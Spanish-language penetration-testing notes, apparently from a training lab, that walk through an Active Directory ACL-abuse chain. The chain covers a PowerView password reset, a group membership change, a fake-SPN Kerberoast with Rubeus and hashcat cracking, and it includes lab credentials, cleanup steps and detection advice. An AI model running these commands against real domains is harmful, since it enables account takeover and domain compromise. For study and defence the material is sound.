ACL Abuse Tactics - Escalada wley → adunn
🔑 Contexto
-
Controlamos al usuario wley cuyo hash NTLMv2 fue capturado y crackeado.
-
Objetivo: Escalar a adunn (DCSync) → control total del dominio.
-
Estrategia general:
-
Cambiar contraseña de damundsen usando wley.
-
Autenticarse como damundsen y añadir usuario a Help Desk Level 1.
-
Aprovechar nested groups para tomar control de adunn.
-
Contraseña_ wley transporter@4
🖥️ Autenticarse como wley
- Crear un PSCredential Object:
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
- Crear SecureString para la nueva contraseña de damundsen:
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
- Cambiar contraseña con PowerView:
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
```
✅ Resultado: Contraseña de damundsen cambiada.

👥 Añadir damundsen a grupo
- Crear PSCredential Object para damundsen:
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
```
-
Comprobar miembros actuales del grupo:
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members -
Añadir damundsen:
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

✅ Resultado: damundsen añadido correctamente.
🔑 Escalar a adunn (GenericAll)
-
Crear fake SPN para Kerberoasting:
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose -
Kerberoasting con Rubeus:
.\Rubeus.exe kerberoast /format:hashcat /outfile:adunn_hash.txt

✅ Resultado: Hash del TGS de adunn obtenido → crack offline con Hashcat.
hashcat -m 13100 adunn_hash.txt /usr/share/wordlists/rockyou.txt
Contraseña crackeada de adunn es SyncMaster757

🧹 Limpieza
- Remover SPN falso:
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
- Quitar damundsen del grupo:
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
- Restablecer contraseña original de damundsen (si se conoce).
📌 Nota: Documentar todo en el informe de la evaluación.
🕵️ Detección y Remediación
-
Auditar ACLs peligrosas regularmente (usar BloodHound, PowerView).
-
Monitorizar cambios en grupos críticos.
-
Auditar cambios en objetos AD:
-
Activar Advanced Security Audit Policy.
-
Event ID 5136 indica modificación de objeto AD.
-
Convertir SDDL a legible:
ConvertFrom-SddlString "<SDDL STRING>" -
✅ Recomendación: Filtrar DiscretionaryAcl para detectar privilegios peligrosos (GenericWrite, GenericAll).